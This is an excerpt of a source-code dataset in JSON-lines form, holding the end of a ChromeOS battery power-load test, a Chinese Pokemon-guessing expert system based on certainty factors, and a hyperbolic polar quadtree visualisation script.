samples_per_loop):\n _log_stats(\"%s loop %d\" % (kname, loop),\n self._stats[kname][start_idx:end_idx])\n loop += 1\n start_idx = end_idx\n\n\n def _log_all_stats():\n for kname in self._stats:\n _log_stats(kname, self._stats[kname])\n\n\n for task, tstart, tend in self._task_tracker:\n self._checkpoint_logger.checkpoint('_' + task, tstart, tend)\n\n keyvals = {}\n for log in self._meas_logs:\n keyvals.update(log.calc())\n keyvals.update(self._statomatic.publish())\n\n if self._log_mem_bandwidth:\n self._mlog.stop()\n self._mlog.join()\n\n _log_all_stats()\n _log_per_loop_stats()\n\n # record battery stats\n if self._power_status.battery:\n keyvals['a_current_now'] = self._power_status.battery.current_now\n keyvals['ah_charge_full'] = \\\n self._power_status.battery.charge_full\n keyvals['ah_charge_full_design'] = \\\n self._power_status.battery.charge_full_design\n keyvals['ah_charge_start'] = self._ah_charge_start\n keyvals['ah_charge_now'] = self._power_status.battery.charge_now\n keyvals['ah_charge_used'] = keyvals['ah_charge_start'] - \\\n keyvals['ah_charge_now']\n keyvals['wh_energy_start'] = self._wh_energy_start\n keyvals['wh_energy_now'] = self._power_status.battery.energy\n keyvals['wh_energy_used'] = keyvals['wh_energy_start'] - \\\n keyvals['wh_energy_now']\n keyvals['v_voltage_min_design'] = \\\n self._power_status.battery.voltage_min_design\n keyvals['wh_energy_full_design'] = \\\n self._power_status.battery.energy_full_design\n keyvals['v_voltage_now'] = self._power_status.battery.voltage_now\n\n keyvals.update(self._tmp_keyvals)\n\n keyvals['percent_sys_low_battery'] = self._sys_low_batt_p\n keyvals['seconds_sys_low_battery'] = self._sys_low_batt_s\n voltage_np = numpy.array(self._stats['v_voltage_now'])\n voltage_mean = voltage_np.mean()\n keyvals['v_voltage_mean'] = voltage_mean\n\n keyvals['wh_energy_powerlogger'] = \\\n self._energy_use_from_powerlogger(keyvals)\n\n if not self._power_status.on_ac() and keyvals['ah_charge_used'] > 0:\n # For full runs, we should use charge to scale for battery life,\n # since the voltage swing is accounted for.\n # For short runs, energy will be a better estimate.\n if self._loop_count > 1:\n estimated_reps = (keyvals['ah_charge_full_design'] /\n keyvals['ah_charge_used'])\n else:\n estimated_reps = (keyvals['wh_energy_full_design'] /\n keyvals['wh_energy_powerlogger'])\n\n bat_life_scale = estimated_reps * \\\n ((100 - keyvals['percent_sys_low_battery']) / 100)\n\n keyvals['minutes_battery_life'] = bat_life_scale * \\\n keyvals['minutes_battery_life_tested']\n # In the case where sys_low_batt_s is non-zero subtract those\n # minutes from the final extrapolation.\n if self._sys_low_batt_s:\n keyvals['minutes_battery_life'] -= self._sys_low_batt_s / 60\n\n keyvals['a_current_rate'] = keyvals['ah_charge_used'] * 60 / \\\n keyvals['minutes_battery_life_tested']\n keyvals['w_energy_rate'] = keyvals['wh_energy_used'] * 60 / \\\n keyvals['minutes_battery_life_tested']\n if self._gaia_login:\n self.output_perf_value(description='minutes_battery_life',\n value=keyvals['minutes_battery_life'],\n units='minutes',\n higher_is_better=True)\n\n minutes_battery_life_tested = keyvals['minutes_battery_life_tested']\n\n # TODO(coconutruben): overwrite write_perf_keyvals for all power\n # tests and replace this once power_LoadTest inherits from power_Test.\n # Dump all keyvals into debug keyvals.\n _utils.write_keyval(os.path.join(self.resultsdir, 'debug_keyval'),\n keyvals)\n # Avoid polluting the keyvals with non-core domains.\n core_keyvals = power_utils.get_core_keyvals(keyvals)\n if not self._gaia_login:\n core_keyvals = {'INVALID_%s' % str(k): v for k, v in\n core_keyvals.iteritems()}\n else:\n for key, value in core_keyvals.iteritems():\n if re.match(r'percent_[cg]pu(idle|pkg).*_R?C0(_C1)?_time', key):\n self.output_perf_value(description=key,\n value=value,\n units='percent',\n higher_is_better=False)\n\n self.write_perf_keyval(core_keyvals)\n for log in self._meas_logs:\n log.save_results(self.resultsdir)\n self._checkpoint_logger.save_checkpoint_data(self.resultsdir)\n\n if minutes_battery_life_tested * 60 < self._loop_time :\n logging.info('Data is less than 1 loop, skip sending to dashboard.')\n return\n\n dashboard_factory = power_dashboard.get_dashboard_factory()\n for log in self._meas_logs:\n dashboard = dashboard_factory.createDashboard(log,\n self.tagged_testname, self.resultsdir, note=self._pdash_note)\n dashboard.upload()\n\n\n def cleanup(self):\n if self._force_discharge:\n power_utils.charge_control_by_ectool(True)\n if self._backlight:\n self._backlight.restore()\n if self._services:\n self._services.restore_services()\n audio_helper.set_default_volume_levels()\n self._detachable_handler.restore()\n\n if self.task_monitor_file:\n self.task_monitor_file.close()\n\n if self._shill_proxy:\n if self._force_wifi:\n # cleanup backchannel interface\n # Prevent wifi congestion in test lab by forcing machines to forget the\n # wifi AP we connected to at the start of the test.\n self._shill_proxy.remove_all_wifi_entries()\n\n if self._use_cellular_network:\n self._shill_proxy.manager.EnableTechnology(\n shill_proxy.ShillProxy.TECHNOLOGY_WIFI)\n\n if self._backchannel:\n self._backchannel.teardown()\n if self._browser:\n self._browser.close()\n if self._testServer:\n self._testServer.stop()\n\n\n def _do_wait(self, verbose, seconds, latch):\n latched = False\n low_battery = False\n total_time = seconds + self._wait_time\n elapsed_time = 0\n\n while elapsed_time < total_time:\n time.sleep(self._wait_time)\n elapsed_time += self._wait_time\n\n self._power_status.refresh()\n\n if not self._ac_ok and self._power_status.on_ac():\n raise error.TestError('Running on AC power now.')\n\n if self._power_status.battery:\n if (not self._ac_ok and\n self._power_status.battery.status != 'Discharging'):\n raise error.TestFail('The battery is not discharging.')\n charge_now = self._power_status.battery.charge_now\n energy_rate = self._power_status.battery.energy_rate\n voltage_now = self._power_status.battery.voltage_now\n self._stats['w_energy_rate'].append(energy_rate)\n self._stats['v_voltage_now'].append(voltage_now)\n if verbose:\n logging.debug('ah_charge_now %f', charge_now)\n logging.debug('w_energy_rate %f', energy_rate)\n logging.debug('v_voltage_now %f', voltage_now)\n\n low_battery = (self._power_status.percent_current_charge() <\n self._test_low_batt_p)\n\n latched = latch.is_set()\n\n if latched or low_battery:\n break\n\n if latched:\n # record chrome power extension stats\n form_data = self._testServer.get_form_entries()\n logging.debug(form_data)\n for e in form_data:\n key = 'ext_' + e\n if key in self._tmp_keyvals:\n self._tmp_keyvals[key] += \"_%s\" % form_data[e]\n else:\n self._tmp_keyvals[key] = form_data[e]\n else:\n logging.debug(\"Didn't get status back from power extension\")\n\n return low_battery\n\n\n def _set_backlight_level(self, loop=None):\n self._backlight.set_default()\n # record brightness level\n self._tmp_keyvals[_loop_keyname(loop, 'level_backlight')] = \\\n self._backlight.get_level()\n\n\n def _set_lightbar_level(self, level='off'):\n \"\"\"Set lightbar level.\n\n Args:\n level: string value to set lightbar to. See ectool for more details.\n \"\"\"\n rv = utils.system('which ectool', ignore_status=True)\n if rv:\n return\n rv = utils.system('ectool lightbar %s' % level, ignore_status=True)\n if rv:\n logging.info('Assuming no lightbar due to non-zero exit status')\n else:\n logging.info('Setting lightbar to %s', level)\n self._tmp_keyvals['level_lightbar_current'] = level\n\n\n def _has_light_sensor(self):\n \"\"\"\n Determine if there is a light sensor on the board.\n\n @returns True if this host has a light sensor or\n False if it does not.\n \"\"\"\n # If the command exits with a failure status,\n # we do not have a light sensor\n cmd = 'check_powerd_config --ambient_light_sensor'\n result = utils.run(cmd, ignore_status=True)\n if result.exit_status:\n logging.debug('Ambient light sensor not present')\n return False\n logging.debug('Ambient light sensor present')\n return True\n\n\n def _energy_use_from_powerlogger(self, keyval):\n \"\"\"\n Calculates the energy use, in Wh, used over the course of the run as\n reported by the PowerLogger.\n\n Args:\n keyval: the dictionary of keyvals containing PowerLogger output\n\n Returns:\n energy_wh: total energy used over the course of this run\n\n \"\"\"\n energy_wh = 0\n loop = 0\n while True:\n duration_key = _loop_keyname(loop, 'system_duration')\n avg_power_key = _loop_keyname(loop, 'system_pwr_avg')\n if duration_key not in keyval or avg_power_key not in keyval:\n break\n energy_wh += keyval[duration_key] * keyval[avg_power_key] / 3600\n loop += 1\n return energy_wh\n\n\n def _has_hover_detection(self):\n \"\"\"\n Checks if hover is detected by the device.\n\n Returns:\n Returns True if the hover detection support is enabled.\n Else returns false.\n \"\"\"\n\n cmd = 'check_powerd_config --hover_detection'\n result = utils.run(cmd, ignore_status=True)\n if result.exit_status:\n logging.debug('Hover not present')\n return False\n logging.debug('Hover present')\n return True\n\n\n def _set_keyboard_backlight_level(self, loop=None):\n \"\"\"\n Sets keyboard backlight based on light sensor and hover.\n These values are based on UMA as mentioned in\n https://bugs.chromium.org/p/chromium/issues/detail?id=603233#c10\n\n ALS | hover | keyboard backlight level\n ---------------------------------------\n No | No | default\n ---------------------------------------\n Yes | No | 40% of default\n --------------------------------------\n No | Yes | System with this configuration does not exist\n --------------------------------------\n Yes | Yes | 30% of default\n --------------------------------------\n\n Here default is no Ambient Light Sensor, no hover,\n default always-on brightness level.\n \"\"\"\n\n default_level = self._keyboard_backlight.get_default_level()\n level_to_set = default_level\n has_light_sensor = self._has_light_sensor()\n has_hover = self._has_hover_detection()\n # TODO(ravisadineni):if (crbug: 603233) becomes default\n # change this to reflect it.\n if has_light_sensor and has_hover:\n level_to_set = (30 * default_level) / 100\n elif has_light_sensor:\n level_to_set = (40 * default_level) / 100\n elif has_hover:\n logging.warn('Device has hover but no light sensor')\n\n logging.info('Setting keyboard backlight to %d', level_to_set)\n self._keyboard_backlight.set_level(level_to_set)\n keyname = _loop_keyname(loop, 'percent_kbd_backlight')\n self._tmp_keyvals[keyname] = self._keyboard_backlight.get_percent()\n\n\n def _log_loop_checkpoint(self, loop, start, end):\n loop_str = _loop_prefix(loop)\n self._checkpoint_logger.checkpoint(loop_str, start, end)\n\n # Don't log section if we run custom tasks.\n if self._tasks != '':\n return\n\n sections = [\n ('browsing', (0, 0.6)),\n ('email', (0.6, 0.8)),\n ('document', (0.8, 0.9)),\n ('video', (0.9, 1)),\n ]\n\n # Use start time from extension if found by look for google.com start.\n goog_str = loop_str + '_web_page_www.google.com'\n for item, start_extension, _ in self._task_tracker:\n if item == goog_str:\n if start_extension >= start:\n start = start_extension\n break\n logging.warn('Timestamp from extension (%.2f) is earlier than'\n 'timestamp from autotest (%.2f).',\n start_extension, start)\n\n # Use default loop duration for incomplete loop.\n duration = max(end - start, self._loop_time)\n\n for section, fractions in sections:\n s_start, s_end = (start + duration * fraction\n for fraction in fractions)\n if s_start > end:\n break\n if s_end > end:\n s_end = end\n self._checkpoint_logger.checkpoint(section, s_start, s_end)\n loop_section = '_' + loop_str + '_' + section\n self._checkpoint_logger.checkpoint(loop_section, s_start, s_end)\n\n\n def _extension_task_monitor_handler(self, handler, form):\n \"\"\"\n We use the httpd library to allow us to log chrome processes usage.\n \"\"\"\n if form:\n logging.debug(\"[task-monitor] got %d samples\", len(form))\n for idx in sorted(form.keys()):\n json = form[idx].value\n self.task_monitor_file.write(json)\n self.task_monitor_file.write(\",\\n\")\n # we don't want to add url information to our keyvals.\n # httpd adds them automatically so we remove them again\n del handler.server._form_entries[idx]\n handler.send_response(200)\n\n\ndef alphanum_key(s):\n \"\"\" Turn a string into a list of string and numeric chunks. This enables a\n sort function to use this list as a key to sort alphanumeric strings\n naturally without padding zero digits.\n \"z23a\" -> [\"z\", 23, \"a\"]\n \"\"\"\n chunks = re.split('([-.0-9]+)', s)\n for i in range(len(chunks)):\n try:\n chunks[i] = float(chunks[i])\n except ValueError:\n pass\n return chunks\n\n\ndef _extension_log_handler(handler, form, loop_number):\n \"\"\"\n We use the httpd library to allow us to log whatever we\n want from the extension JS script into the log files.\n\n This method is provided to the server as a handler for\n all requests that come for the log url in the testServer\n\n unused parameter, because httpd passes the server itself\n into the handler.\n \"\"\"\n\n if form:\n for field in sorted(form.keys(), key=alphanum_key):\n logging.debug(\"[extension] @ %s %s\", _loop_prefix(loop_number),\n form[field].value)\n # we don't want to add url information to our keyvals.\n # httpd adds them automatically so we remove them again\n del handler.server._form_entries[field]\n\n\ndef _extension_page_time_info_handler(handler, form, loop_number,\n test_instance):\n page_timestamps = []\n\n stats_ids = ['mean', 'min', 'max', 'std']\n loadtime_measurements = []\n sorted_pagelt = []\n #show up to this number of slow page-loads\n num_slow_page_loads = 5\n\n if not form:\n logging.debug(\"no page time information returned\")\n return\n\n for field in sorted(form.keys(), key=alphanum_key):\n page = json.loads(form[field].value)\n url = page['url']\n\n pstr = \"[extension] @ %s url: %s\" % (_loop_prefix(loop_number), url)\n logging.debug(\"%s start_time: %d\", pstr, page['start_time'])\n\n if page['end_load_time']:\n logging.debug(\"%s end_load_time: %d\", pstr, page['end_load_time'])\n\n load_time = page['end_load_time'] - page['start_time']\n\n loadtime_measurements.append(load_time)\n sorted_pagelt.append((url, load_time))\n\n logging.debug(\"%s load time: %d ms\", pstr, load_time)\n\n logging.debug(\"%s end_browse_time: %d\", pstr, page['end_browse_time'])\n\n page_timestamps.append(page)\n\n # we don't want to add url information to our keyvals.\n # httpd adds them automatically so we remove them again\n del handler.server._form_entries[field]\n\n page_base = _loop_keyname(loop_number, 'web_page_')\n for page in page_timestamps:\n page_failed = \"_failed\"\n # timestamps from javascript are in milliseconds, change to seconds\n scale = 1.0/1000\n if page['end_load_time']:\n tagname = page_base + page['url'] + \"_load\"\n test_instance._task_tracker.append((tagname,\n page['start_time'] * scale, page['end_load_time'] * scale))\n\n tagname = page_base + page['url'] + \"_browse\"\n test_instance._task_tracker.append((tagname,\n page['end_load_time'] * scale, page['end_browse_time'] * scale))\n\n page_failed = \"\"\n\n tagname = page_base + page['url'] + page_failed\n test_instance._task_tracker.append((tagname,\n page['start_time'] * scale, page['end_browse_time'] * scale))\n\n loadtime_measurements = numpy.array(loadtime_measurements)\n stats_vals = [loadtime_measurements.mean(), loadtime_measurements.min(),\n loadtime_measurements.max(),loadtime_measurements.std()]\n\n key_base = 'ext_ms_page_load_time_'\n for i in range(len(stats_ids)):\n key = key_base + stats_ids[i]\n if key in test_instance._tmp_keyvals:\n test_instance._tmp_keyvals[key] += \"_%.2f\" % stats_vals[i]\n else:\n test_instance._tmp_keyvals[key] = \"%.2f\" % stats_vals[i]\n\n\n sorted_pagelt.sort(key=lambda item: item[1], reverse=True)\n\n message = \"The %d slowest page-load-times are:\\n\" % (num_slow_page_loads)\n for url, msecs in sorted_pagelt[:num_slow_page_loads]:\n message += \"\\t%s w/ %d ms\" % (url, msecs)\n\n logging.debug(\"%s\\n\", message)\n\n\ndef _extension_key_values_handler(handler, form, loop_number,\n test_instance):\n if not form:\n logging.debug(\"no key value information returned\")\n return\n\n for field in sorted(form.keys(), key=alphanum_key):\n keyval_data = json.loads(form[field].value)\n\n # Print each key:value pair and associate it with the data\n for key, value in keyval_data.iteritems():\n logging.debug(\"[extension] @ %s key: %s val: %s\",\n _loop_prefix(loop_number), key, value)\n # Add the key:values to the _tmp_keyvals set\n test_instance._tmp_keyvals[_loop_keyname(loop_number, key)] = value\n\n # we don't want to add url information to our keyvals.\n # httpd adds them automatically so we remove them again\n del handler.server._form_entries[field]\n\n\ndef _loop_prefix(loop):\n return \"loop%02d\" % loop\n\n\ndef _loop_keyname(loop, keyname):\n if loop != None:\n return \"%s_%s\" % (_loop_prefix(loop), keyname)\n return keyname\n","repo_name":"Fimics/android12_pixel4xl","sub_path":"external/autotest/client/site_tests/power_LoadTest/power_LoadTest.py","file_name":"power_LoadTest.py","file_ext":"py","file_size_in_byte":40843,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"42309745116","text":"import pprint\n\nval_box = {\n 'color': set(),\n 'eye_color': set(),\n 'ear_color': set(),\n 'limb_num': set(),\n 'wing_num': set(),\n 'habitat': set(),\n 'detail': set(),\n}\n\nquestion_box = {\n 'color': '它的身体是不是有{val}的部分?',\n 'eye_color': '它的眼睛是{val}的吗?',\n 'ear_color': '它的耳朵是{val}的吗?',\n 'limb_num': '它一共有{val}只手和脚吗?',\n 'wing_num': '它是不是有{val}只翅膀?',\n 'habitat': '它是不是生活在{val}附近?',\n 'detail': '它是不是{val}?',\n}\n\n\nformat_box = {\n 'color': '皮肤颜色',\n 'eye_color': '眼睛颜色',\n 'ear_color': '耳朵颜色',\n 'limb_num': '手脚个数',\n 'wing_num': '翅膀个数',\n 'habitat': '栖息地点',\n 'detail': '显著特征',\n}\n\n\nclass Pokemon:\n '''每个pokemon维护一个框架\n \n 每个框架都可以导出后项为该pokemon的若干规则\n '''\n def __init__(self, name, url, height, weight, intro):\n '''框架的所有槽值\n '''\n self.cf = 0.0\n self.name = name\n self.url = url # 图片网址\n self.intro = intro # 图鉴介绍\n self.height = height # 身高\n self.weight = weight # 体重\n self.track_box = [] # 搜索过程: (key, val, cf变化量)\n self.slot = {\n 'color': dict(),\n 'eye_color': dict(),\n 'ear_color': dict(),\n 'limb_num': dict(),\n 'wing_num': dict(),\n 'habitat': dict(),\n 'detail': dict(),\n }\n self.false_cnt = 0\n self.cnt = 0\n\n def init_slot(self, mark, text):\n '''从外部库中导入数据,并赋予相应规则的确信因子\n\n 隐式地形成了规则集\n '''\n if text is None:\n return\n\n cf = [0.4, 0.3, 0.2, 0.2, 0.2]\n for index, val in enumerate(text.split(' ')):\n if index < 5 and val != '':\n val_box[mark].add(val)\n if mark == 'detail':\n self.slot[mark][val] = 0.9\n else:\n self.slot[mark][val] = cf[index]\n # print(f'color:{len(val_box[\"color\"])}')\n # print(f'eye_color:{len(val_box[\"eye_color\"])}')\n # print(f'ear_color:{len(val_box[\"ear_color\"])}')\n # print(f'limb_num:{len(val_box[\"limb_num\"])}')\n # print(f'wing_num:{len(val_box[\"wing_num\"])}')\n # print(f'habitat:{len(val_box[\"habitat\"])}')\n # print(f'detail:{len(val_box[\"detail\"])}')\n\n\n def debug(self):\n print(self.name)\n pprint.pprint(self.slot)\n pprint.pprint(self.track_box)\n\n\n def update_cf(self, key, val, cf) :\n # 更新cf值\n new_cf = self.__merge_cf(self.cf, self.new_cf(key, val, cf))\n # 记录track\n if cf <= 0:\n self.track_box.append((f'{format_box[key]} 不是 {val}', new_cf - self.cf))\n else:\n self.track_box.append((f'{format_box[key]}   是   {val}', new_cf - self.cf))\n\n self.cf = new_cf\n self.cnt += 1\n if self.cf < 0.5:\n self.false_cnt += 1\n\n def new_cf(self, key, val, cf):\n '''IF color IS 黄色{cf}\n THEN IS 皮卡丘{self.slot[key][val]}\n '''\n if len(self.slot[key]) == 0:\n return 0 * cf\n elif val not in self.slot[key]:\n if cf >= 0:\n if key == 'detail':\n return -1.0 * cf\n return -0.7 * cf\n else:\n if key == 'detail':\n return 0 * cf\n return -0.3 * cf\n else :\n if key == 'detail':\n return 0.9 * cf\n elif cf >= 0:\n return self.slot[key][val] * cf # 0.4 0.3\n else:\n return (self.slot[key][val] + 0.3) * cf # 0.7 0.6\n\n\n def have_key_val(self, key, val):\n return len(self.slot[key]) != 0 and val in self.slot[key]\n\n\n def is_out(self) :\n if self.false_cnt > 2:# or (self.cnt > 5 and self.false_cnt > 1) :\n return True\n return False\n\n\n def __merge_cf(self, cf1, cf2):\n if cf1 > 0 and cf2 > 0:\n return cf1 + cf2 * (1 - cf1)\n elif cf1 < 0 and cf2 < 0:\n return cf1 + cf2 * (1 + cf1)\n else:\n return (cf1 + cf2) / (1 - min(abs(cf1), abs(cf2)) + 1e-6) ","repo_name":"River861/PokeDex","sub_path":"Pokemon.py","file_name":"Pokemon.py","file_ext":"py","file_size_in_byte":4429,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"33786633615","text":"import math\nimport matplotlib.patches as patches\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.constants import c\nimport random\n\n\ndef cartesian_to_polar(pts):\n \"\"\"\n Args\n points: ndarray containing points in Cartesian coordinates.\n\n Returns\n ndarray: points in polar coordinates, where the first column is the\n radius and the second column is the angle (in radians).\n \"\"\"\n assert pts.shape[1] == 2\n angles = np.arctan2(pts[:, 1], pts[:, 0])\n angles[angles < 0] += 2.0 * np.pi # Fix cases where arctan2 < 0\n return np.column_stack((np.linalg.norm(pts, axis=1), angles))\n\n\ndef polar_to_cartesian(pts):\n pt_x = pts[:, 0] * np.cos(pts[:, 1])\n pt_y = pts[:, 0] * np.sin(pts[:, 1])\n return np.column_stack((pt_x, pt_y))\n\n\ndef hyperbolic_distance(u, v):\n u = polar_to_cartesian(np.array(u))\n v = polar_to_cartesian(np.array(v))\n norm_uv = np.linalg.norm(u - v)\n norm_u = np.linalg.norm(u)\n norm_v = np.linalg.norm(v)\n\n return np.arcosh(1 + 2 * (norm_uv ** 2 / ((1 - norm_u ** 2) * (1 - norm_v ** 2))))\n\n\ndef polar_equal_area_split(r_min, r_max, theta_min, theta_max, alpha=1.0):\n \"\"\"\n Args\n r_min, r_max (float): polar radius range of current node\n theta_min, theta_max (float): angles (in degrees) range of the current node\n\n Returns\n (float, float): midpoint of radius and angle, split in half according to hyperbolic area.\n \"\"\"\n r_mid = np.arccosh((np.cosh(alpha * r_max) + np.cosh(alpha * r_min)) / 2.0) * (1.0 / alpha)\n theta_mid = (theta_min + theta_max) / 2.\n return r_mid, theta_mid\n\n\ndef polar_equal_length_split(r_min, r_max, theta_min, theta_max):\n \"\"\"\n Args\n r_min, r_max (float): polar radius range of current node\n theta_min, theta_max (float): angles (in degrees) range of the current node\n\n Returns\n (float, float): midpoint of radius and angle, split in half according to Euclidean length.\n \"\"\"\n r_mid = (r_min + r_max) / 2.\n theta_mid = (theta_min + theta_max) / 2.\n return r_mid, theta_mid\n\n\nclass PolarNode:\n def __init__(self, r_min, r_max, theta_min, theta_max):\n \"\"\"\n Creates a polar node for hyperbolic box with inner radius r_min, outer radius r_max\n and polar angle (in radians) range [min_theta, max_theta[\n \"\"\"\n self.min_r = r_min\n self.max_r = r_max\n self.min_theta = theta_min\n self.max_theta = theta_max\n\n self.children = []\n self.points = [] # This is inefficient, should we store only indices or better not care about it for now?\n self.center_of_mass = None\n\n def max_radius(self):\n max_arc = hyperbolic_distance((self.max_r, self.min_theta), (self.max_r, self.max_theta))\n diagonal = hyperbolic_distance((self.min_r, self.min_theta), (self.max_r, self.max_theta))\n return max(max_arc, diagonal)\n\n def contains(self, test_point):\n \"\"\"\n Args\n test_point (float, float): radius and polar angle of test point\n\n Returns\n True if PolarNode contains polar_point,\n False otherwise.\n \"\"\"\n r, theta = test_point\n return self.min_r <= r <= self.max_r and self.min_theta <= theta <= self.max_theta\n\n def is_leaf(self):\n return len(self.points) == 1\n\n def is_empty(self):\n return len(self.points) == 0\n\n # Add new point to this particular node\n def append(self, point):\n # If the new point ISN'T in this box, the task is ill-posed\n if not self.contains(point):\n return False\n\n # If the new point IS in this box, but the box is empty, just add it in\n if self.is_empty():\n self.points.append((point[0], point[1]))\n self.update_center_of_mass()\n return True\n\n # If the new point IS in the this box, but the box is a NON-EMPTY LEAF, need to subdivide\n if self.is_leaf():\n # Add the point to leaf (not a leaf anymore)\n assert len(self.children) == 0\n self.points.append((point[0], point[1]))\n self.update_center_of_mass()\n\n # Compute splitting point (either by area or by length)\n mid_r, mid_theta = polar_equal_area_split(self.min_r, self.max_r, self.min_theta, self.max_theta)\n # mid_r, mid_theta = polar_equal_length_split(self.min_r, self.max_r, self.min_theta, self.max_theta)\n assert self.min_r < mid_r < self.max_r\n assert self.min_theta < mid_theta < self.max_theta\n\n # Generate four polar subnodes and add them as children to this one.\n # NOTE: Initially, we thought we only add in the non-empty subnodes, but this creates problems.\n # So we sipmly add all of them.\n subnodes = [\n PolarNode(mid_r, self.max_r, self.min_theta, mid_theta),\n PolarNode(mid_r, self.max_r, mid_theta, self.max_theta),\n PolarNode(self.min_r, mid_r, mid_theta, self.max_theta),\n PolarNode(self.min_r, mid_r, self.min_theta, mid_theta)\n ]\n self.children.extend(subnodes)\n\n # Insert the new point + the (single) old leaf point into the correct subnodes\n for p in [point, self.points[0]]:\n for subnode in subnodes:\n if subnode.append(p):\n continue\n\n return True\n\n # Otherwise, it's NOT A LEAF and we need to recursively add to the correct children\n assert len(self.children) > 0\n self.points.append((point[0], point[1]))\n self.update_center_of_mass()\n for child in self.children:\n if child.append(point): # if child accepts point (e.g. ITS children also done accepting), then we're done\n return True\n\n # For completeness. Won't reach here.\n return False\n\n def update_center_of_mass(self):\n # TODO: using Euclidean centroid (mean of the positions) as a placeholder\n # for the Einstein midpoint.\n cartesian_points = polar_to_cartesian(np.array(self.points))\n num = 0\n denom = 0\n cartesian_points = polar_to_cartesian(np.array(self.points))\n for point in cartesian_points:\n lorenz_factor = 1/(np.sqrt(1-(sum(pow(element, 2) for element in point)/(pow(c, 2)))))\n num += lorenz_factor*point\n denom += lorenz_factor\n self.center_of_mass = num/denom\n #self.center_of_mass = np.mean(cartesian_points, axis=0)\n\n def __str__(self):\n return f\"Radius range: [{self.min_r}, {self.max_r}]; Angle range: [{self.min_theta}, {self.max_theta}]\"\n\n # Render this node and recursively all its non-empty children too\n def render(self, ax, center=(0, 0)):\n wedge = patches.Wedge(center, r=self.max_r, theta1=np.degrees(self.min_theta),\n theta2=np.degrees(self.max_theta), width=(self.max_r - self.min_r), color='cyan',\n fill=False)\n ax.add_patch(wedge)\n\n # The rescursion. Important to note though that the non-displayed children still do exist in the hierarchy!\n for child in self.children:\n if not child.is_empty():\n child.render(ax, center)\n\n # Seems like a method for debugging / printing\n def traverse(self):\n print(f\"Points: {self.points}\")\n for node in self.children:\n node.traverse()\n\n\nclass PolarQuadTree:\n def __init__(self, polar_points):\n \"\"\"\n Creates a Polar QuadTree from a point set expressed in\n polar coordinates.\n \"\"\"\n assert polar_points.shape[0] >= 1\n self.root = PolarNode(np.min(polar_points[:, 0]), np.max(polar_points[:, 0]), 0.0, 2.0 * np.pi)\n\n # Asserts that all points can be inserted into the tree\n for point in polar_points:\n assert self.root.contains(point) == True, f\"Point = ({point[0]}, {point[1]}), Node = {self.root.min_r} {self.root.max_r} {self.root.min_theta} {self.root.max_theta}\"\n\n for point in polar_points:\n self.root.append(point)\n\n def render(self, ax, center=(0, 0)):\n self.root.render(ax, center)\n\n def traverse(self):\n self.root.traverse()\n\n @classmethod\n def from_cartesian_points(cls, cartesian_points):\n return cls(cartesian_to_polar(cartesian_points))\n\n\n# Generate points inside Poincaré disk\npoints = []\nnum_points = 100\n\nrandom.seed(42)\nwhile len(points) != num_points:\n x = random.uniform(-1.0, 1.0)\n y = random.uniform(-1.0, 1.0)\n\n # Test if point is inside Poincaré disk,\n # but not on the boundary.\n if x ** 2 + y ** 2 < 0.9:\n points.append((x, y))\n\npoints = np.array(points)\n\ntree = PolarQuadTree.from_cartesian_points(points)\n\nprint(f\"Number of children of root node: {len(tree.root.children)}\")\nprint(tree.root)\nfor node in tree.root.children:\n print(len(node.children))\n print(node)\n\n#tree.traverse()\nprint(len(tree.root.points))\nprint(len(set(tree.root.points)))\n\nfig = plt.figure(figsize=(10, 10))\nax = fig.add_subplot(111)\n\n# Draw Poincaré disk\npoincare_boundary = plt.Circle((0, 0), 1.0, color='black')\ninner_circle = plt.Circle((0, 0), tree.root.min_r, color='purple', fill=False)\nouter_circle = plt.Circle((0, 0), tree.root.max_r, color='blue', fill=False)\n\nax.add_patch(poincare_boundary)\nax.add_patch(inner_circle)\nax.add_patch(outer_circle)\ntree.render(ax)\n\nax.scatter(\n x=[points[:, 0]],\n y=[points[:, 1]],\n marker='o', alpha=0.9, color='white', s=3.0)\n\nplt.show()\n\n# import numpy as np\n# import matplotlib.patches as patches\n# import matplotlib.pyplot as plt\n# import quads\n# import random\n#\n#\n# def cartesian_to_polar(pts):\n# \"\"\"\n# Args\n# pts: ndarray containing points in Cartesian coordinates as rows.\n#\n# Returns\n# ndarray: points in polar coordinates, where the first column is the\n# radius and the second column is the angle (in radians).\n# \"\"\"\n# assert pts.shape[1] == 2\n# return np.column_stack((np.linalg.norm(pts, axis=1), np.arctan2(pts[:, 1], pts[:, 0])))\n#\n#\n# def polar_equal_area_split(r_min, r_max, theta_min, theta_max, alpha=1.0):\n# \"\"\"\n# Args\n# r_min, r_max (float): polar radius range of current node\n# theta_min, theta_max (float): angles (in degrees) range of the current node\n#\n# Returns\n# (float, float): midpoint of radius and angle, split in half according to hyperbolic area.\n# \"\"\"\n# r_mid = np.arccosh((np.cosh(alpha * r_max) + np.cosh(alpha * r_min)) / 2.0) * (1.0 / alpha)\n# theta_mid = (theta_min + theta_max) / 2.\n# return r_mid, theta_mid\n#\n#\n# def polar_equal_length_split(r_min, r_max, theta_min, theta_max):\n# \"\"\"\n# Args\n# r_min, r_max (float): polar radius range of current node\n# theta_min, theta_max (float): angles (in degrees) range of the current node\n#\n# Returns\n# (float, float): midpoint of radius and angle, split in half according to Euclidean length.\n# \"\"\"\n# r_mid = (r_min + r_max) / 2.\n# theta_mid = (theta_min + theta_max) / 2.\n# return r_mid, theta_mid\n#\n#\n# class PolarNode:\n# def __init__(self, r_min, r_max, theta_min, theta_max):\n# \"\"\"\n# Creates a polar node for hyperbolic box with inner radius r_min, outer radius r_max\n# and polar angle (in radians) range [min_theta, max_theta[\n# \"\"\"\n# self.min_r = r_min\n# self.max_r = r_max\n# self.min_theta = theta_min\n# self.max_theta = theta_max\n#\n# self.children = []\n# self.points = [] # This is inefficient, should we store only indices or better not care about it for now?\n#\n# def contains(self, test_point):\n# \"\"\"\n# Args\n# test_point (float, float): radius and polar angle of test point\n#\n# Returns\n# True if PolarNode contains polar_point,\n# False otherwise.\n# \"\"\"\n# r, theta = test_point\n# return self.min_r <= r < self.max_r and self.min_theta <= theta <= self.max_theta\n#\n# def is_leaf(self):\n# return len(self.points) == 1\n#\n# def is_empty(self):\n# return len(self.points) == 0\n#\n#\n# class PolarQuadTree:\n# def __init__(self, polar_pts):\n# \"\"\"\n# Creates a Polar QuadTree from a point-set expressed in\n# polar coordinates (rows are points, in polar coords).\n# 